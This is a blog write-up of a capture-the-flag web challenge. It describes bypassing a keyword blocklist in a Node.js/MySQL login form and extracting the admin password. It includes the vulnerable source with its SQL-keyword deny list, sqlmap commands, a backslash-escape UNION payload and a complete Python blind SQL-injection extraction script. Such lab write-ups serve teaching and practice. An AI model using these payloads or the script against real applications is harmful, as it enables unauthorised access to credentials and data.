Last week, I participated with my CTF team, Jim's Pentesting, in the invite-only ADF Cyber Skills Challenge. While I do on occasion enjoy a good CTF, recent participation in some led to some real frustrating experiences where I knew the solutions to many of the challenges, but there was some dumb "CTF-y" roadblock you would never encounter in the real world that prevents your exploit from working and getting the flag. Such incidences frustrate the hell out of me and is partly the reason I try not to do these competitively anymore.
For the ADF Cyber Skills challenge, I decided to continue that trend of not being hyper competitive and just try to do a few of the challenges and have a good time. The ADF Cyber Skills challenge was a real breath of fresh air compared to many of the CTF events I have tried. I loved the platform provider (Fifth Domain) which had a really great interface which allowed our teams to leave notes on challenges, flag which we were working on and which we needed help on. And the overall theme of the competition was obviously Smart Cities which I thought was a very clever concept. The few challenges I attempted, although requiring sometimes a bit of outside-the-box thinking, were nothing in the realm of "CTF-y" which I really liked. Our team placed 28th overall out of 141 teams which while not a podium finish or anything was pretty damn good in our eyes given we were 2 men down (really 2 and a half as I didn't compete for one of the days). In this blog post, I want to provide a write-up for one of the more time-consuming challenges I attempted. Not just the correct solution, but also my thought process. Where I got distracted, where I went wrong and how I ended up cracking this (with about 45 minutes to spare).
Challenge Overview

- Challenge Name: SOAP
- Level: Proficient
- Estimated Time Required: 360 minutes
Like all other challenges in the competition, this one had a very vague description which didn't really give too much away, but right away led me to believe SQL injection might be involved. The exact description evades my memory now, but contained a phrase something to the effect of "There are no 'Singles' allowed in this Smart City" - an obvious nod to single quotes.
Initial Exploration
First, I started by booting up the instance for this challenge, and browsed to the website, being met with an extremely simple login form and a somewhat encouraging message:

"Hint: Sometimes, the simplest approach is the most effective."
In the case of this challenge, we were given the source code and file artifacts which instantly makes the challenge a lot more enjoyable. No guessing if there are hidden directories or pages, it is all just there. Given that I had the source, I knew there wasn't anything more to this challenge other than a login page and a welcome page for when you successfully log in. Like I always do, knowing full well it is never going to be that simple, I tried a few obvious SQL Injection techniques (i.e. inserting characters that will mess with any SQL syntax) but as expected, no dice.
Digging into Artifacts
Next, I decided to take a look at the artifacts in the file. There is an "init.sql
" file which is used to populate the database when the challenge is run. I had a look to see what was in there and saw there were usernames and passwords for the site and also identified our target for this exercise, the "admin" account, whose password was the flag:

Now obviously, that admin password can't be used to login (again, I tried for some reason), but the other accounts? Their passwords worked and if we login, we see the second and final page which welcomes the user. We also note in our burp history that a cookie is set with the logged-in username and it appears that this is the value that is used to populate the name on the page.


As an example, I modified the cookie value manually in Burp and saw that it was reflected in the page (we'll delve into that rabbit hole a little later).


Exploring Possible Avenues
As a matter of habit, I checked if we could inject any sort of scripting elements into this cookie and have them reflected on the page, though in hindsight, this was never going to be a part of the solution. It would affect only the logged-in user and furthermore there was no indication that any simulated user would be interacting with this page. Knowing from the artifacts that this was a Node application, I figured there would be some templating involved and wondered if perhaps the solution might be a sort of Server Side Template Injection where we could then interact with the database. To confirm this, it was necessary to begin analyzing the files to see what else we had.
We had the node_modules
folder which contains the libraries the application uses. The "view
" folder contained the two pages we are dealing with 'index.ejs
' and 'login.ejs
', the package lock files which tell us what versions of the utilized third-party modules are in use, the image asset for the website, and the heart of the solution; 'app.js
' which contains all the routing and application logic supporting the two pages.
Template Examination
What we want to look at first is the two EJS files. EJS (Embedded JavaScript) is a templating engine used to make dynamic HTML pages within Node - this is how we end up with our username cookie reflected in the page. The file of interest to us is 'index.ejs
' as it contains that templated section.

You can see in the header tag, the code is "<h1>Welcome to Smart City, <%= username %>!</h1>
". This looks semi-promising so we need to look into what the tag that encloses username
actually means.
Knowing this, I started to take a look at the app.js
file to see exactly what was happening behind the scenes with this application. The first thing I noticed was that a rate limiter was defined, with a comment mentioning we shouldn't use automated tooling to solve this challenge. Though defined, I immediately saw it was commented out and not actually implemented which made me chuckle.
// Rate limiter: maximum 5 requests per minute per IP
// Don't use sqli tools to solve this challenge
const limiter = rateLimit({
windowMs: 60 * 1000,
max: 5,
message: 'Too many requests, please try again after a minute',
standardHeaders: true,
legacyHeaders: false,
});
//app.use(limiter);
The database connection was defined, then the POST route to the login endpoint is visible. It takes the username
and password
variables from the request and then defines a function called detectSQLi
. Within this function is a list of forbidden keywords. The function puts all the input, converts it to lowercase, and then checks the user input against these keywords to see if they are present in the string. If they are, the function returns true; otherwise, it returns false.
It then checks if either username
or password
parameters are empty. If they are, it returns a 400 error. Then there is a length check on both fields. If the length of either username
or password
is more than 68, then an error is also returned. Finally, detectSQLi
is called on both username
and password
to ensure it is free of forbidden characters. Provided we get past those three functions, then the actual SQL query construction and execution takes place. The full code of this function is shown below with pertinent things highlighted in red:
app.post('/login', async (req, res) => {
const { username, password } = req.body;
const detectSQLi = (input) => {
const forbiddenPatterns = [
'--', ';', "'", '/*', '*/', '@@',
'char(', 'nchar(', 'varchar(', 'alter',
'begin', 'cast', 'create', 'cursor',
'declare', 'delete', 'drop', 'exec',
'execute', 'fetch', 'insert', 'kill',
'sys', 'sysobjects', 'syscolumns',
'table', 'update', 'union', 'join',
'information_schema', 'column'
];
const loweredInput = input.toLowerCase();
for (let pattern of forbiddenPatterns) {
if (loweredInput.includes(pattern)) {
console.log(pattern);
return true;
}
}
return false;
};
if (!username || !password) {
return res.status(400).send('Please enter both username and password');
}
if (username.length > 68 || password.length > 68) {
return res.status(400).send('Invalid username or password');
}
if (detectSQLi(username) || detectSQLi(password)) {
return res.status(400).send("Hacking attempt detected!!!");
}
let conn;
try {
conn = await getDbConnection();
const [rows] = await conn.execute(
`SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`
);
const user = rows[0];
if (!user || !user.username) {
return res.status(400).send('No user');
}
res.cookie('username', user.username);
res.redirect('/');
} catch (e) {
res.status(500).send(`Error: ${e.message}`);
} finally {
if (conn) conn.end();
}
});
The first thing to realise is that absent the SQLi check, the code is definitely vulnerable. The username
and password
values are passed directly into the query using the curly brackets, which would allow an unscrupulous user the ability to break the SQL query. The correct solution is to use parameterized queries rendering all the user input inert, like so:
const [rows] = await conn.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password]
);
However, we aren't absent any sort of checks. There is the detectSQLi
function. It is blindingly obvious now that all we need to do is beat the filter somehow and we are good to get going. Double checking the forbidden entries, I felt a little bit of confusion set in. Our username
and password
variables are wrapped in single quotes. We would need to prematurely end those quotes before we could do anything else, but given that the single quote character is in the forbidden list, I hit a bit of a wall straight away.
const forbiddenPatterns = ['--', ';', "'", '/*', '*/', '@@',
'char(', 'nchar(', 'varchar(', 'alter', 'begin', 'cast',
'create', 'cursor', 'declare', 'delete', 'drop', 'exec',
'execute', 'fetch', 'insert', 'kill', 'sys', 'sysobjects',
'syscolumns', 'table', 'update', 'union', 'join',
'information_schema', 'column'];
Even though it told us not to and once again, I definitely knew this wasn't going to work, I ran SQLMap over the damn thing anyway out of frustration. Predictably we got no results.

My next thought was that perhaps there is some other input we can supply that will normalize into a single quote, thus beating the filter on the web app, but fooling the SQL service on the backend. I researched a few promising characters including: ’ , ‘ , ′, ʼ, ꞌ , ‛, ' - they beat the web filter, but they did not normalize behind the scenes into a closing single quote. In retrospect, if this did happen, I imagine I would have seen this straight away after a Google search as it is quite severe.

After hours of researching, I'm not ashamed to admit I went back into full-blown CTF mode. I looked at the index page again. I saw an interesting message I hadn't really paid attention to before.

The key to control? The key? The background image! Of course! It was so obvious. There is obviously a hidden SSH key in the image somewhere. I Nmapped the whole IP, I downloaded the image, threw it into metadata analyzers, steg detectors, and image color analyzers looking for something. Some sort of clue. This must be it! Of course, it 100% wasn't (which again Kudos to the challenge maker here for not doing something so silly), and no, no other ports like SSH were open. This was just a pure desperation move after hours of trying and failing.
Even though the idea was dead in the water, I just couldn't shake the idea of this being some sort of normalization issue. I looked back at how the database was set up in app.js
.
async function getDbConnection() {
return await mysql.createConnection({
host: process.env.MYSQL_HOST,
user: process.env.MYSQL_USER,
password: process.env.MYSQL_PASSWORD,
database: process.env.MYSQL_DATABASE,
charset: 'utf8mb4'
});
}
The fact that the charset was explicitly declared seemed a little odd to me (again I could be wrong on this, but it stuck out a little bit to me). I wanted to understand exactly what the utf8mb4
charset was. After a bit of searching online, I discovered it was an extension of the traditional utf8
set to include Basic Multilingual Plane (BMP) characters such as Emojis and Asian characters.

I recall a while back I had read about an XSS filter bypass that used Multi-Byte characters where there was essentially a desync between the frontend parsing the characters and the backend. A particular Chinese Multibyte character, where the second byte was the double quote character, was able to successfully bypass the filter and close off a tag. This idea again just persisted with me. It must be the solution, I thought.
For those keeping score at home, there are approximately 150,000 characters that can be represented in this set. So if I was going to try all of them, I needed some automation. I also wanted a higher degree of insight into what was happening, so I set up the solution on my local Kali IP. I already had MariaDB installed (but not Docker if you can believe it), so rather than using the Docker file, I changed to the project directory and just ran the SQL script:
mariadb -u root -p smart_city < init.sql
Created my .env
file:
touch .env
Added my SQL parameters to .env
:
MYSQL_HOST=localhost
MYSQL_USER=your_username
MYSQL_PASSWORD=your_password
MYSQL_DATABASE=smart_city
PORT=3000
Then all I had to do was run npm install
, and we were good to go with our local copy!

I also made some modifications to the code for quality-of-life improvements. I removed the 68-character limit, added a debug statement that prints any SQL statements executed to the console. Then, with the help of everybody's favorite robot, I cooked up a Python script that would simply iterate over all 150,000 characters of the charset and see the result of each. This is not the "shotgun" approach; this is the "nuke from orbit" approach.
import requests
# Define the target URL
target_url = "http://localhost:3000/login"
# Function to generate all characters in the UTF-8 charset
def generate_charset():
for codepoint in range(0x20, 0x10FFFF): # Includes most printable characters
try:
char = chr(codepoint)
# Ensure the character is valid and not a surrogate pair
if char.isprintable() and not (0xD800 <= codepoint <= 0xDFFF):
yield char
except ValueError:
# Skip invalid characters
continue
# Prepare the testing loop
for char in generate_charset():
payload = {
"username": char,
"password": char # Using the same character for simplicity
}
try:
# Send the POST request
response = requests.post(target_url, data=payload)
# Print the result
print(f"Character: {char} | Status Code: {response.status_code} | Response: {response.text}")
except Exception as e:
print(f"Failed to send character {char}: {e}")
This was where we finally got a break. And not even from any obscure character, a very traditional character I had failed to try.

Now we are cooking with gas. We have got a SQL error indicating we have broken the intended syntax. The backslash character, when used at the end of either string, actually escapes the single quote character from the SQL query, leading to a broken query. As shown in the screenshot above, this is effectively what the query turns into:
SELECT * FROM users WHERE username = '{username} AND password =' {password}
The query is mangled, but it means we have direct control of the second half of the query. However, given we still have the block list in place, there are still limitations on what we can supply. We still need to end the query, but our typical comment functions (--
, /**/
) are forbidden. Luckily I encountered this exact issue in a previous CTF and remembered that #
is also a comment in MySQL and this was NOT present in the forbidden list. By this stage, I was already a few hours in and I just wanted to see the SQL injection in action! Running SQLMap over the service and in conjunction with my logs, I was able to come up with the following payload:
username=\&password=UNION+SELECT+NULL,GROUP_CONCAT(password),NULL+FROM+users#
Resulting in a SQL statement of:
SELECT * FROM users WHERE username = '\' AND password =' UNION SELECT NULL,GROUP_CONCAT(password),NULL FROM users
This essentially concatenates all the passwords from the database into the "username" response. As there is no user called literally "\' AND password=", the result is just the password list. As you might remember from the code above, the "username" value from a successful SQL query is popped into the server-side response cookie. Thus, we can easily extract it this way. I was filled with promise here, but then I remembered I had also at some point modified my local code to remove the forbidden keyword check. "UNION" is one of the keywords we cannot use. All of the usual filter bypass tricks I would try (e.g. UnIoN
, UN/**/ION
, etc.) did not work. All the input is lowercased before checking, and the multiline comments are also a forbidden keyword. I also couldn't use alternates to UNION such as JOIN as these were also on the blacklist, and another similar alternate (INTERSECT) was not suitable in this case.
After several more hours of trial and error, it became clear to me this was not the intended way. As difficult as it was, I was going to have to come up with a blind payload, and I couldn't use a lot of useful characters. I turned back to SQLMap for guidance on what a blind SQL payload might look like. Using the injection point I had created by making my application weaker, I forced SQLMap to use blind payloads and ran it through my Burp proxy to see how it would discover the passwords character by painstaking character.
sqlmap -r login-req --proxy http://127.0.0.1:8080 --dbms=mysql -D smart_city -T users --dump --technique=B

As you can see from the screenshot above, it is using a blind payload to extract the password character by character. The query it is using looks like this:
SELECT * FROM users WHERE username = 'alice.williams' AND password = 'qwerty123!' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM smart_city.users ORDER BY id LIMIT 3,1),3,1))>112 AND 'pCfo'='pCfo
This is an extremely long query and is unlikely to fit in the 68-character limit that is imposed. While it is possible to simplify this a little bit, SQLMap would not be the solution we could use due to the way we are weirdly breaking out of the initial SQL query. Essentially, we have control of the second half of the SQL query. We need the query to either evaluate as TRUE (which would do a 302 redirect as per the code) or FALSE (which would return a 400 as per the code). We want to check if the first character of the password for the "admin" user begins with a certain character. Like the hint said, simple is better. We don't need to overcomplicate it with SQLMap. How would we construct such a query? We resolve username
to TRUE using the OR 1
trick, then we tack on a new condition using the AND keyword. No need for query stacking (which we can't do anyway).
SELECT * FROM users WHERE username = '\' AND password =' OR 1 AND (username ="alice.williams" AND password LIKE "q%")#

Watching the above injection 302 redirect was exhilarating after trying and failing basically all day to get something to work. By this stage, it was the last morning of the competition, and I had a way to start getting the password piece by piece. To do this in a timely manner, we were going to need to automate this (on second thought, this is probably why the rate limiter was not used). I could see another problem on the horizon—the 68-character limit. Our injection was small, but unless the flag was really short, we probably would need to adjust the payload halfway through to ensure we could extract the full flag. We could simply take the last few known characters of the flag and place that in front of a second '%' character like AND password LIKE "%<substring>%"
up until we reveal the full flag.
As time was short, I took the coward's way out and used the LLM Machine to generate me a script that would iterate character by character until we got what we needed. That is shown below:
import requests
import string
# Disable warnings for insecure connections (if applicable)
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Target configuration
TARGET_URL = "http://10.7.250.92:3000/login"
TARGET_HOST = "10.7.250.92:3000"
# Define the character set to iterate through
# Exclude '%' as per your requirement
CHARSET = string.ascii_letters + string.digits + string.punctuation.replace('%', '')
# Initialize the current guess for the password
current_guess = "FLAG{"
# Maximum password length to prevent infinite loops
MAX_PASSWORD_LENGTH = 100
# Proxy configuration
PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
# Function to send the POST request with the injected payload
def send_injection(guess):
"""
Constructs and sends the SQL injection payload to the target server.
Args:
guess (str): The current password guess.
Returns:
requests.Response or None: The server's response or None if the request failed.
"""
# Construct the payload with SQL injection
payload = f'OR+1=1+AND+(username+="admin"+AND+password+LIKE+"{guess}%")#'
# Prepare the raw POST data string
post_data = f'username=a\\&password={payload}'
# Prepare the headers
headers = {
'Host': TARGET_HOST,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://10.7.250.92:3000',
'Referer': 'http://10.7.250.92:3000/login',
'Upgrade-Insecure-Requests': '1',
'Connection': 'close'
}
try:
response = requests.post(
TARGET_URL,
data=post_data,
headers=headers,
timeout=5,
verify=False,
proxies=PROXIES,
allow_redirects=False # Do not follow redirects
)
return response
except requests.exceptions.RequestException as e:
print(f"[!] Request failed: {e}")
return None
# Function to determine if the guess is correct based on the response
def is_correct_guess(response):
"""
Determines if the current guess is correct based on the server's response.
Args:
response (requests.Response): The server's response.
Returns:
bool: True if the guess is correct (indicated by a 302 status code), False otherwise.
"""
if response is None:
return False
# Check for 302 status code (indicating success)
return response.status_code == 302
def main():
global current_guess
print("[*] Starting password enumeration...")
print("[*] Proxying requests through 127.0.0.1:8080")
print(f"[*] Starting with known prefix: '{current_guess}'\n")
try:
while len(current_guess) < MAX_PASSWORD_LENGTH:
found = False
for char in CHARSET:
trial_guess = current_guess + char
# Display the current trial guess without a newline
print(f"[*] Trying guess: '{trial_guess}'", end='\r', flush=True)
response = send_injection(trial_guess)
if is_correct_guess(response):
print(f"\n[+] Found character: '{char}'")
current_guess += char
found = True
break # Move to the next character
if not found:
print("\n[*] No more characters found or reached maximum password length.")
break
print(f"\n[+] Password enumeration completed. Password: '{current_guess}'")
except KeyboardInterrupt:
print("\n[!] Enumeration stopped by user.")
print(f"[+] Current password guess: '{current_guess}'")
if __name__ == "__main__":
main()
With 30 minutes to spare, the flag was printed to the screen!

Closing Thoughts
The challenge, now that it was over, seemed mind-boggling that it took me so long. The authors stated this challenge would take approximately 6 hours, and I think that is about spot on. It was a simple challenge, but for people who love SQLMap doing all the work, it would take a bit longer to solve. This is the sign of a great challenge.